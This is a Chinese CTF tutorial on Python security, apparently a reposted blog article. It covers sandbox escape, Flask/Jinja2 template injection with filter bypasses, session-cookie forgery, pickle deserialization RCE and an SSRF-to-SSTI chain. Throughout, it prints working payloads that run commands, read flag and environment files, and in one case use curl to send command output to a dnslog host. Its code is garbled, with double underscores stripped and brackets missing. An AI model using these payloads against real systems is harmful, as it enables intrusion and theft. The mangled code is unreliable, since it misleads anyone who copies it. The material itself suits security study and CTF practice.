聊一聊我認識的 Python 安全

0x00 前言


在 CTF 比賽中,Python 的題目種類也越來越多。記得之前遇到 Python 題目的模板注入反序列化題目筆者都會抄一下網上的 Payload 然後獲取 flag。但喫雞腿,不知道雞腿從何而來,是無法品嚐到其中的美味的~ 本篇文章以筆者的角度來描述一下這盤子中的美味,來刨析出雞腿的腿有多麼性感。並且筆者會將 Python 2 與 Python 3 結合,沒有下酒菜的酒局是沒有味道的。整篇文章共 5700 字,供大家閱讀體會。

0x01 沙箱逃逸原理及利用

相信大家在抄 Payload 的時候會發現(明明只有筆者抄 T.T)關於 SSTI 的 Payload 都是很長一大串,例如:

這是一個典型的文件讀取 Payload。可是我們現在並不知道原理,那麼跟着筆者一步一步嘗試來獲取它其中的祕密吧!

一:刨析原理

首先我們需要理解一下 Python 的幾種數據類型,筆者這裏將常見數據類型放入一個列表中再進行依次打印,例如:

Python3:

Python2:

我們可以看到,使用 type 來進行檢查數據類型時,會返回 <class 'XXX'>,那麼我們會注意到 XXX 前的 class,在編程語言中,class 是用來定義類的。是的,沒錯,在 Python 中,一個字符串則爲 str 類的對象,一個整形則爲 int 類的對象,一個浮點數據則爲 float 的對象...

我們可以通過 id 來看一下這些對象的編號是多少,如圖:

得出首條結論:在 Python 中,一切皆對象。

那麼知道這些有什麼用呢?一個對象則存在屬性與方法,我們可以通過 dir 來進行查看,如圖(這裏用普通字符串來進行舉例):

我們可以看到字符串 python2 與 python3 都返回了 upper,我們知道 upper 是一個函數,那麼我們使用一下該方法。如圖:

因爲在 Python 中一切都是對象,所以方法與類也是對象,如圖:

我們現在缺少的只是方法與類的調用而已,文章中不再描述如何調用。

那麼現在問題就出來了,我們知道 Python 中存在數據類型,這些數據類型它們都是一個類,我們是怎麼找到這個類並實例化出來它們的?又或者說,在 Python 中存在一些函數,我們是怎麼找到它們並調用的?如何查找到是當前的一個問題。

我們可以通過 globals 函數來進行查看 globals 是獲取當前可訪問到的變量):

我們可以看到我們定義的變量 a 已經放入到 globals 函數當中了,我們可以看到有__builtins__這樣一個變量,它是一個模塊。並且模塊名在 Python2 中命名爲__builtin__,在 Python3 中又重新命名爲了 builtins。

我們使用 dir 看一下該模塊中所存在的一些內容。

我們可以看到,我們所使用的基礎方法都存放在該模塊中,我們使用該模塊調用一下 print 函數來進行測試。

我們可以看到,在 Python3 中返回正常,Python2 卻拋出異常,這是因爲在 Python2 中 print 爲一個語句,在 Python3 中它換成了一個函數。

得出第二條結論:在 Python2/3 中,任何基礎類以及函數都存放在__builtin__/builtins 模塊中。

那麼如果我們通過一些方式,可以定位到__builtin__ / builtins 模塊,那豈不是可以進行進行調用任意函數了。

現在的問題是我們該怎麼定位。

我們知道 builtins 是存放在 globals 函數中的,與變量的作用域是有關係的談到變量的作用域,我們會想到一個玩意:自定義方法。

我們可以自定義一個方法,將它視爲一個對象,使用 dir 看一下它下面的成員屬性。

如圖:

果然,在一個普通方法中是存在__globals__這麼一個成員屬性的,我們可以打印它看一下。

我們可以看到 globals 就是 globals() 函數的返回值,同理,它們下面都存在 builtins 變量,我們可以使用 “函數.globals['builtins']. 惡意函數()” 來執行一下 eval。如圖:

我們可以看到,eval 被我們成功執行!

而方法也是可以定義在類中的,我們簡單定義一個類,並且定義一個__init__魔術方法(__init__是魔術方法,該方法在被類創建時自動調用)。

我們可以看到同樣是可以調用 eval 的。

如果我們不定義__init__會怎麼樣呢?我們可以看一下。

可以看到,在 Python2 中會報錯,而 python3 中會返回 slot。不定義__init__是不可以訪問到__globals__成員屬性的,如圖:

我們再看一下模塊中的方法與當前都有什麼區別。

這裏區別就很明顯了,這裏 “模塊中的方法” 中__globals__[__builtins__]中的所有內容都被存放入一個字典中才可以進行調用。我們調用一下 eval 來進行測試,如圖:

當然我們可以使用__import__函數調用 os 來進行執行命令,如圖:

我們可以看到 whoami 被成功調用。

得出第三條結論:我們可以通過一個普通函數 (或類中已定義的方法) 對象下的__globals__成員屬性來得到__builtins__,從而執行任意函數,這裏要注意的是,模塊與非模塊下的__globals__的區別。

那麼實際場景中,根本沒有這樣一個方法給我們利用。我們應該怎麼做?

我們使用 dir 看一下普通類型(int,str,bool....)的返回結果。如圖:

我們查看一下__class__的內容。如圖:

可以看到通過__class__成員屬性可以得到當前對象是 XXX 類的實例化。

在 Python 中,所有數據類型都存放於 Object 一個大類中,如圖:

我們可以通過__bases__/__mro__/__base__來得到 object,如圖:

可以看到在 python2 中並沒有直接返回 object,我們可以再次訪問__bases__就可以得到 object 了,如圖:

那麼通過__subclasses__即可得到 object 下的所有子類,如圖:

下面我們就可以來依次判斷這些類中是否定義__init__(或其他魔術方法)方法,如果定義,那麼就可以拿到__init__(或其他魔術方法)下的__globals__[“__builtins__”] 從而執行任意函數,編寫腳本進行測試:

可以看到這些類都是可以進行利用的類。當然,也可以使用其他魔術方法,這裏舉例__delete__魔術方法,如圖:

得出第四條結論:我們可以通過普通數據類型的__class__成員屬性得到所屬類,再通過__bases__/__base__/__mro__可以得到 object 類,再次通過__subclasses__() 來得到 object 下的所有基類,遍歷所有基類檢查是否存在指定的魔術方法,如果存在,那麼即可獲取__globals__[__builtins__],就可以調用任意函數了。

如上總結在 Python2/3 中都是可以進行利用的,只是在 Python2 中多了一種 file 的姿勢。

如圖:

只是 file 在 Python3 中被移除了,故 Python3 中沒有此利用姿勢。

二:flask 模板注入

沙箱逃逸通常與 flask 的模板注入緊密聯繫,模板中存在可以植入表達式的可控點那麼就會存在 SSTI 問題。

存在漏洞的代碼:

from flask import Flask,render_template,request,render_template_string,session

from datetime import timedelta

app = Flask(name)

app.config['SECRET_KEY'] = 'hacker'

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

@app.route('/test',methods=['GET', 'POST'])

def test():

content = request.args.get("content")

template = '''

'''%(content, session.get('money'))

return render_template_string(template)

@app.route('/sess')

def t():

session['money'] = 100

return '設置金額成功...'

if name == 'main':

app.debug = True

app.run()

在 / test 路由中存在模板注入漏洞,那麼我們可以通過傳遞 payload:

?content={{[].class.base.subclasses()[80].init.globals['builtins']'import'.popen('whoami').read()}} 來進行執行任意命令(__subclasses__可利用的鍵值可以通過 Burp 從 1-999 進行爆破出結果,這裏得到 80 可以被利用),如圖:

至此,我們完成了首次模板注入。

但是成熟的模板注入類的題目它會進行一些過濾的。這裏簡單總結一下。

三:過濾問題總結

這裏簡單記錄一下模板注入中的一些過濾的繞過。

我們知道__subclasses__() 返回一個列表,__globals__返回一個字典,而列表的訪問語法與字典的訪問語法需要藉助於中括號,如果將中括號過濾,那麼我們怎麼辦呢?

我們使用 dir 來查看一下 “正常的列表 / 正常的字典” 下的成員屬性及方法如圖:

可以看到存在__getitem__方法。

進行調用:

當然,字典的訪問也是可以通過__getitem__方法來進行繞過(pop 方法也可以被利用)。

如果過濾引號,我們豈不是不可以進行模板注入了?

引號則表示 str 類型的數據,而 str 類型的數據可以通過變量來表示,這裏可以藉助於 flask 中 request.args 對象來作爲變量,以 get 傳遞進行賦值。

構造 Payload:

?content={{[].class.base.subclasses()[80].init.globals[request.args.builtins]request.args.import.popen(request.args.whoami).read()}}&builtins=builtins&import=import&os=os&whoami=whoami

如圖:

成功執行命令。

由於在 jinja2 中允許 “對象[屬性]” 的方式來訪問成員屬性,如圖:

此時的屬性放置的內容爲字符類型,我們可以通過 request.args 全程代替。

構造 Payload:

?content={{[][request.args.class][request.args.base]request.args.subclasses[80][request.args.init][request.args.globals][request.args.builtins]request.args.import.popen(request.args.whoami).read()}}&builtins=builtins&import=import&os=os&whoami=whoami&class=class&base=base&subclasses=subclasses&init=init&globals=globals

如圖:

當然,也可以通過字符串拼接的方式,構造 Payload:

?content={{[][''+'class'+'']}},結果如下:

{{}}通常來表示一個變量,而 {%%} 則表示爲流程語句,雖然不可以回顯內容,但是我們可以通過 curl 來進行外帶數據。

Payload:

?content={% if ''.class.base.subclasses()[80].init.globals['builtins']'import'.popen('curl http://w9y7rp.dnslog.cn/?test=whoami').read() !=1 %}1{% endif %}

自定義一個 web 服務即可接收到,筆者這裏使用的是 dnslog,得不到發出的參數。如圖:

當然反彈 shell 也是一種不錯的姿勢,這裏就不再描述了。

四:flask 的一些其他問題

在 CTF 考點中還存在一種身份僞造類的題目。我們看一下該代碼塊的 sess 路由,如圖:

from flask import Flask,render_template,request,render_template_string,session

from datetime import timedelta

app = Flask(name)

app.config['SECRET_KEY'] = 'hacker'

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

@app.route('/test',methods=['GET', 'POST'])

def test():

content = request.args.get("content")

template = '''

'''%(content, session.get('money'))

return render_template_string(template)

@app.route('/sess')

def t():

session['money'] = 100

return '設置金額成功...'

if name == 'main':

app.debug = True

app.run()

我們可以看到,這裏定義了 session[money]=100。當我們訪問 / sess 時,服務端就會返回一個 jwt 給我們,如圖:

可以看到 session 是以 jwt 來進行存儲的,而使用 jwt 存儲是有危害的。

關於 jwt 的解釋:https://www.jianshu.com/p/576dbf44b2ae

只要我們獲取 SECRET_KEY,那麼該 JWT 是可以進行僞造的。

問題是我們如何進行獲取 SECRET_KEY?

如圖:

我們可以看到,{{config}} 是可以竊取出 SECRET_KEY。

這種姿勢我們會在 “CTF 小結” 中的一道叫做 “[PASECA2019] honey_shop” 的題目所記載。它需要任意文件讀取的姿勢纔可以進行得到 SECRET_KEY。

有一道叫做 “[CISCN2019 華北賽區 Day1 Web2]ikun” 的題目涉及到了這種姿勢,其中又提到了 Python 反序列化,這裏奉上 WriteUp:

https://blog.csdn.net/weixin_43345082/article/details/97817909

對於反序列化,筆者會在 0x02 中進行描述。

我們可以通過 flask-session-cookie-manager 工具來生成惡意的 JWT 即可完成身份僞造,工具 GitHub:https://github.com/style-404/flask-session-cookie-manager。

首先我們對當前的 JWT 進行 base64 解碼,如圖:

這裏可以得出一條 JSON 數據過來,那麼我們使用 flask-session-cookie-manager 工具,藉助 SECRET_KEY 來將 money 篡改爲 999.

工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"

修改本地的 session 值,隨後訪問 / test 查看結果。

可以看到成功篡改 money 的值。

它所利用的條件爲 任意文件讀取 + flask 的 DEBUG 模式。

參考文章:https://xz.aliyun.com/t/2553

這裏筆者就不再做演示了。

五:部分 CTF 題目實例

這道題是比較基礎的一道題目,無任何過濾,我們直接進行注入即可。

可以看到表達式被正常解析,那麼繼續往下操作即可。

構造 Payload:

?name={{[].class.base.subclasses()[80].init.globals['builtins']'import'.popen('ls /').read()}}

命令執行結果如圖:

該題目有兩個功能,Base64 加密與 Base64 解密,在 Base64 解密處存在模板注入。

題目如圖:

解密結果:

由此得知存在 ssti。

經過測試,得知 75 存在可利用的 function 爲__init__,如圖:

提交後:

但繼續往下構造攻擊鏈時,發現過濾了一些敏感關鍵字,使用 open 進行讀取源碼:

源碼過濾如圖:

我們可以看到萬惡的 request 也被過濾了,但是這裏我們可以使用字符拼接來進行繞過,popen 可以使用中括號加字符拼接的方式進行調用,那麼構造 Payload:{{[].class.base.subclasses()[75].init.globals['builtins']'imp'+'ort'['po'+'pen']('ls /').read()}}

編碼爲 base64 後提交,查看一下結果:

存在 flag 關鍵字,導致我們無法讀取,這裏我們可以通過命令執行的繞過姿勢 “\” 來進行繞過,再次構造 Payload:

{{[].class.base.subclasses()[75].init.globals['builtins']'imp'+'ort'['po'+'pen']('cat /this_is_the_fl\ag.txt').read()}}

編碼爲 base64 後進行提交:

打開題目源碼發現提示參數 search

那麼我們可以通過? search={{2*3}} 來查看一下結果。

可以看到 6 彈我們一臉,那麼此處存在 ssti。

__subclasses__丟進 Burp 進行爆破鍵值,如圖:

得出下標爲 59 的__init__魔術方法可以被利用,如圖:

構造 Payload 至__globals__發現被過濾,簡單訪問一下,真的返回 500,如圖:

可以使用 request.arg.x 來進行繞過,構造 Payload:

?search={{[].class.base.subclasses()[59].init[request.args.g]['builtins']'import'.popen('ls /flasklight').read()}}&g=globals

查看結果:

再次構造 Payload 讀取 flag:

?search={{[].class.base.subclasses()[59].init[request.args.g]['builtins']'import'.popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=globals

如圖:

查看源代碼,發現 Ajax 請求:

筆者在構造 Payload 時,發現過濾了 單引號(‘)、點(.),下劃線(_)那麼我們可以通過雙引號來解析變量,並且使用 16 進制代替下劃線即可。

如圖:

構造 Payload 來進行爆破下標:

?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]"\x5F\x5Fsubclasses\x5F\x5F"[§80§]["\x5F\x5Finit\x5F\x5F"]}}

發現下標爲 91 的__init__方法可以被利用,如圖:

構造 Payload 執行命令:

?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]"\x5F\x5Fsubclasses\x5F\x5F"[91]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]"\x5F\x5Fimport\x5F\x5F""popen""read"}}

其中

\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79

爲 cat /proc/self/cwd/app.py,這裏轉換可以使用筆者已經寫好的腳本:

payload = b'cat /proc/self/cwd/app.py'

string = payload.hex()

result = ''

for i in range(0, len(string), 2):

result += '\x' + string[i:i+2]

print(result)

結果如圖:

可以看到 flag 文件被 os 刪掉了,但是 flag 的值被存放於 app.config 當中,並且經過了 encode 函數處理,我們可以看一下 encode 函數的定義:

是使用的異或算法,那麼現在我們只需要從 config 中拿到加密後的 flag 值,並且將它再次執行一下 encode 函數即可得到 flag。

再次執行函數

則得到 flag。

該題目屬於 JWT 身份僞造攻擊,首先我們打開主頁,可以看到金額爲 1336,如圖:

而 flag 需要 1337。

在 / download 路由下存在文件下載,猜測存在任意文件下載,那麼我們下載../../../../../../../../../proc/self/environ 來進行觀察,如圖:

成功下載到並拿到 SECRET_KEY,然後我們對當前網址的 jwt 使用 base64 進行解密,得出:

僞造爲:{"balance":1338,"purchases":[]},即可購買 flag 了。

0x02 Python 反序列化漏洞利用

原理文章推薦

因爲在知乎有位師傅寫的非常不錯,那麼筆者在這裏也不去班門弄斧。

傳送門:https://zhuanlan.zhihu.com/p/89132768

這裏做一下總結,並且對一種利用姿勢擴大成果,然後分享一道有意思的例題。

Python 反序列化能幹什麼?

R 指令碼的 RCE

Python 的反序列化比 PHP 危害更大,可以直接進行 RCE。

編寫測試腳本:

import pickle, os, base64

class Exp(object):

def reduce(self):

return (os.system, ('dir',))

with open('./hacker.txt', 'wb') as fileObj:

pickle.dump(Exp(), fileObj)

會在當前目錄生成 hacker.txt,內容爲序列化的值。如圖:

我們再次使用 pickle 進行反序列化即可執行 dir 命令。

這裏可以看到成功執行了 dir 命令。

當 R 指令碼被禁用後,我們可以採取這種姿勢來獲取變量。

在當前目錄下創建 flag.py 文件,並且存放一個 flag 變量,當作模塊來進行使用。如圖:

編寫獲取 flag 變量的腳本:

import flag, pickle

class Person():

pass

b = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.'

print(pickle.loads(b).test)

主要思路爲:“cflag\nflag\n“當作 test 屬性的 value 值壓進了前序棧的空 dict 隨後使用 b 覆蓋了 Person 類的__dict__成員屬性,導致了變量被竊取。

我們可以看到 pickle.loads 返回的對象下的 test 就是 flag 的值,如圖:

當 R 指令碼被禁用後,並且 find_class 函數只允許獲取__main__中的變量時,我們可以採取這種姿勢來修改任意變量。

在原理文章中並沒有提到一種姿勢,而有一種姿勢也是可以進行利用的。我們先按照原理文章來測試一遍。

測試腳本:

import flag, pickle

class Person():

pass

b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0c__main__\nPerson\n)\x81}(Va\nVa\nub.'

pickle.loads(b)

print(flag.flag)

主要思路爲:使用 c 將 flag 模塊導入進來,通過 ub 來更新 flag 模塊的__dict__屬性,故可以惡意修改變量的值。

查看結果:

我們可以看到,flag 包中的 flag 變量被成功修改。

那麼在反序列化中,一個普通字符串也是可以當作一種數據來進行序列化的,所以這裏並不需要 Person 的類支撐即可完成變量修改。

修改腳本如下:

import flag, pickle

b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.'

print(pickle.loads(b))

print(flag.flag)

結果:

那麼就成功篡改了 flag 包中的 flag 變量的內容。

編寫測試腳本:

import flag, pickle

class Person():

pass

b = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'

print(pickle.loads(b))

主要思路爲:藉助於__setstate__的特性造成了 RCE。

執行結果:

可以看到成功執行了 dir 命令。

近看一道 ssrf + 反序列化 + SSTI 的例題

這道題是朋友很早之前就留下來的,在網上也找不到現成的反序列化題目,就用它好了。

題目代碼是這樣的:

from flask import Flask,render_template

from flask import request

import urllib

import sys

import os

import pickle

import ctf_config

from jinja2 import Template

import base64

import io

app = Flask(name)

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

if module == 'main':

return getattr(sys.modules['main'], name)

raise pickle.UnpicklingError("only main")

def get_domain(url):

if url.startswith('http://'):

url = url[7:]

if not url.find("/") == -1:

domain = url[url.find("@")+1:url.index("/",url.find("@"))]

else:

domain = url[url.find("@")+1:]

print(domain)

return domain

else:

return False

@app.route("/", methods=['GET'])

def index():

return render_template("index.html")

@app.route("/get_baidu", methods=['GET'])   # get_baidu?url=http://127.0.0.1:8000/?@www.baidu.com/

def get_baidu():

url = request.args.get("url")

if(url == None):

return "please get url"

if(get_domain(url) == "www.baidu.com"):

content = urllib.request.urlopen(url).read()

return content

else:

return render_template('index.html')

@app.route("/admin", methods=['GET'])

def admin():

data = request.args.get("data")

if(data == None):

return "please get data"

ip = request.remote_addr

if ip != '127.0.0.1':

return redirect('index')

else:

name = base64.b64decode(data)

if b'R' in name:

return "no reduce"

name = RestrictedUnpickler(io.BytesIO(name)).load()

if name == "admin":

t = Template("Hello" + name)

else:

t = Template("Hello" + ctf_config.name)

return t.render()

if name == 'main':

app.debug = False

app.run(host='0.0.0.0', port=8000)

在 45 行中存在一個判斷。

if(get_domain(url) == "www.baidu.com"):

content = urllib.request.urlopen(url).read()

return content

如果進入到該分支則調用至 urllib.request.urlopen 函數,那麼我們看一下 get_domain 方法是邏輯是怎麼樣的。

在 27 行中出現了漏洞問題,如果 url 中存在 “/”,則返回 @符號往後的內容,那麼這裏存在一個僞造的情況,例如:http://127.0.0.1:3306/?@www.baidu.com/,

則會匹配到 www.baidu.com/,但是實際發送出的 HTTP 請求還是發送至 127.0.0.1 身上,所以說這裏存在一個 SSRF 漏洞問題。

而在 51-68 行中確實驗證了訪問者的 IP 這裏可以使用 SSRF 進行繞過 如圖:

61 行禁用了 R 指令,則表示不可以使用__reduce__進行命令執行操作,可以看到 63 行實例化了 RestrictedUnpickler 類,而該類則繼承了 pickle.Unpickler 類,如圖:

同時重寫了 find_class 的方法,這時 c 指令只可以進行導入本地模塊。而類名中存在 “R 關鍵字”,則無法進行__setstate__姿勢的 RCE,這裏利用方式只剩下一種:c 指令碼的變量修改。

但是變量修改有什麼用呢?我們可以注意到第 67 行的 ctf_config 包下的 name 變量,如圖:

直接將變量的值拼接到 Template 方法中,這裏存在一個 SSTI 注入問題。

那麼思路就有了:通過 get_data 路由發送 SSRF 請求 ->admin 路由接收進行反序列化 -> 修改 ctf_config 下的 name 屬性爲 SSTI 注入語句 -> 實現 RCE。

那麼編寫 POC 腳本:

import base64

ssti = b'2*6'

payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'

payload = base64.b64encode(payload).decode('utf-8')

print(payload)

傳遞 Payload:

http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI 的值 %26@www.baidu.com/

如圖:

成功進行 SSTI 注入,筆者發現__subclasses__() 的第 81 下標存在可利用的 function,那麼這裏直接執行 whoami:

可以看到成功執行了 “whoami”。

0x03 尾巴

無聊的話,就一起來玩會 Python 吧。

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/aoUR-fSuyZgUK6olX4s-qw